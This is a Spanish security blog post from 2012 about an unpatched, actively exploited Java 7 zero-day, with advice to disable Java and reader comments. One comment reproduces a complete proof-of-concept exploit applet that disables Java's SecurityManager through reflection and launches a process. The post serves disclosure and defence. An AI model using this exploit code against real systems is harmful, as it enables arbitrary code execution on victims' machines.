lunes, 27 de agosto de 2012

Grave vulnerabilidad sin parche en Java está siendo aprovechada por atacantes


Se ha descubierto una vulnerabilidad en Java para la que no existe parche, que está siendo aprovechada por atacantes y cuyo código es público. Es el peor escenario posible.

Todavía no se sabe mucho sobre la vulnerabilidad, puesto que no ha dado tiempo a realizar un estudio exhaustivo, pero lo divulgado por ahora nos sitúa en el peor escenario posible.

FireEye descubría un servidor con un .jar que aprovechaba una vulnerabilidad. Por tanto, alguien la conoce y está aprovechando el fallo. A través de un dominio de tercer nivel dinámico (aa24.net) y un servidor de correo web de una compañía china (que probablemente haya sido atacada), se está (todavía) distribuyendo malware gracias a ese fallo en Java.



A través de un índice en la carpeta "meeting" del servidor, muy ofuscado con Javascript, el malware que se está distribuyendo es este:


y


El problema afecta a la última versión de Java en su rama 7, hasta su "update 6". No afecta a la rama 6, que todavía se mantiene pero que se encuentra en periodo de "extinción". Funciona sobre los principales navegadores e incluso con EMET activo.

A pesar de que los investigadores que lo descubrieron no ofrecieron detalles, un tercero ha publicado una prueba de concepto para explotar el fallo, con lo que se abría la puerta a que cualquiera pudiera explotarla. El código es sencillo, limpio, funcional y fiable. Compilar y lanzar. Poco después, se ha introducido como módulo en Metasploit. Esto licencia a que cualquier atacante pueda comenzar a distribuir su propio malware (muy probablemente durante los próximos días se pueda ver en Blackhole, el kit de explotación de moda entre los atacantes). Si, como ya hemos mencionado en más de una ocasión, una máquina virtual de Java no actualizada es lo que más aprovechan los creadores de malware para distribuir sus muestras, esta vulnerabilidad permite "abrir el mercado" también entre los actualizados.

Extracto del código del .Jar


En ausencia de un parche eficaz, no existe una forma sencilla de mitigar el problema. Lo más recomendable es deshabilitar Java del navegador. No se sabe cuándo solucionará Oracle el problema. Su ciclo cuatrimestral de actualizaciones, sugiere que hasta el 16 de octubre puede que no parcheen el gravísimo problema. Desde luego, Oracle no suele publicar parches fuera de ciclo. En contadas ocasiones lo ha hecho con su base de datos, su producto estrella. Pero menos aún con Java desde que le pertenece.

En abril de 2010 Tavis Ormandy y Rubén Santamarta descubrieron un grave fallo de seguridad en JRE. A Ormandy le dijeron desde Oracle que no lo consideraban tan grave como para publicar nada antes del periodo establecido. Una semana después, publicaban un parche fuera de ciclo (Java 6 Update 20), que no acreditaba la corrección de la vulnerabilidad. Tuvieron que comprobar que, simplemente, el fallo dejaba de darse, pero no había confirmación oficial.

Hace algunas semanas escribíamos en una-al-día, un titular que (obviamente tomándonos ciertas licencias) afirmaba "Si no actualizas Java, estás infectado". Pretendía llamar la atención sobre el hecho de que una enorme parte de los atacantes estaban aprovechando de forma masiva fallos muy recientes en Java y que la manera más eficaz de defenderse era actualizar. Lo estamos viviendo día a día en el laboratorio. Ahora podemos añadir que, incluso si se está actualizado y con medidas extra de seguridad como EMET, se corre el riesgo de que un atacante ejecute código en el sistema.

Más información:

Zero-Day Season is Not Over Yet

Java 7 0-Day vulnerability information and mitigation.

Java Deployment Toolkit Performs Insufficient Validation of Parameters

[0DAY] JAVA Web Start Arbitrary command-line injection - "-XXaltjvm" arbitrary dll loading

Sun About Face: Out-of-Cycle Java Update Patches Critical Flaw



Sergio de los Santos
Twitter: @ssantosv

7 comentarios:

  1. segun http://www.reversemode.com/index.php?option=com_content&task=view&id=67&Itemid=1

    solo ataca a windows,por ahora.
    linux es vulnerable,pero,no lo ataca.correcto?
    el unico que se libra OSX.

    aunque si usamos ..
    http://www.f-secure.com/weblog/archives/jar_code.PNG
    modificado de forma adecuada me temo que linux seria vulnerable..no?

    ResponderEliminar
  2. desde Rapid7 han desarrollado ya un módulo para Metasploit (disponible en la última actualización del framework) cuyos payloads generados han funcionado en Mozilla Firefox sobre Ubuntu y Safari sobre OS X 10.7.4

    ResponderEliminar
  3. //the exploit
    // CVE-2012-XXXX Java 0day
    //
    //
    package cve2012xxxx;

    import java.applet.Applet;
    import java.awt.Graphics;
    import java.beans.Expression;
    import java.beans.Statement;
    import java.lang.reflect.Field;
    import java.net.URL;
    import java.security.*;
    import java.security.cert.Certificate;

    public class Gondvv extends Applet
    {

    public Gondvv()
    {
    }

    public void disableSecurity()
    throws Throwable
    {
    Statement localStatement = new Statement(System.class, "setSecurityManager", new Object[1]);
    Permissions localPermissions = new Permissions();
    localPermissions.add(new AllPermission());
    ProtectionDomain localProtectionDomain = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), localPermissions);
    AccessControlContext localAccessControlContext = new AccessControlContext(new ProtectionDomain[] {
    localProtectionDomain
    });
    SetField(Statement.class, "acc", localStatement, localAccessControlContext);
    localStatement.execute();
    }

    private Class GetClass(String paramString)
    throws Throwable
    {
    Object arrayOfObject[] = new Object[1];
    arrayOfObject[0] = paramString;
    Expression localExpression = new Expression(Class.class, "forName", arrayOfObject);
    localExpression.execute();
    return (Class)localExpression.getValue();
    }

    private void SetField(Class paramClass, String paramString, Object paramObject1, Object paramObject2)
    throws Throwable
    {
    Object arrayOfObject[] = new Object[2];
    arrayOfObject[0] = paramClass;
    arrayOfObject[1] = paramString;
    Expression localExpression = new Expression(GetClass("sun.awt.SunToolkit"), "getField", arrayOfObject);
    localExpression.execute();
    ((Field)localExpression.getValue()).set(paramObject1, paramObject2);
    }

    public void init()
    {
    try
    {
    disableSecurity();
    Process localProcess = null;
    localProcess = Runtime.getRuntime().exec("calc.exe");
    if(localProcess != null);
    localProcess.waitFor();
    }
    catch(Throwable localThrowable)
    {
    localThrowable.printStackTrace();
    }
    }

    public void paint(Graphics paramGraphics)
    {
    paramGraphics.drawString("Loading", 50, 25);
    }
    }

    ResponderEliminar
    Respuestas
    1. comprueba si eres vulnerable

      http://isjavaexploitable.com/

      Eliminar
  4. - Cómo deshabilitar Java de Internet Explorer
    1) Menú de Herramientas (Tools) -> Opciones de Internet (Internet Options)
    2) Pestaña Programas (Programs) -> Gestionar complementos (Manage Add-ons)
    3) Seleccionar Java Plug-in y deshabilitar (disable)
    4) Hacer clic en Aceptar (Ok), y de nuevo Aceptar (Ok)

    - Cómo deshabilitar Java de Mozilla Firefox
    1) Menú de Herramientas (Tools) -> Complementes (Add-ons)
    2) Seleccionar el panel Plugins
    3) Hacer clic en elementos cuyo nombre sea Java Plug-in o Java Applet Plug-in. Según el entorno, sistema operativo y versión, el complemento puede venir con un nombre u otro.
    4) Hacer clic en el botón "Deshabilitar" (Disable)
    Desabilitando java en los distintos navegadores

    - Cómo deshabilitar Java de Google Chrome
    1) Accedemos al menú de plugins escribiendo "chrome://plugins/" en la barra de direcciones.
    2) Buscar el complemento Java y hacer clic en "Deshabilitar"

    - Cómo deshabilitar Java de Safari
    1) Acceder a Preferencias -> Pestaña "Seguridad" (Security)
    2) Desmarcar la opción "Habilitar Java"

    ResponderEliminar
  5. otro link para comprobar si eres vulnerable

    http://zulu.zscaler.com/research/java_version.html

    es curioso porque difiere de la de metasploit??

    ResponderEliminar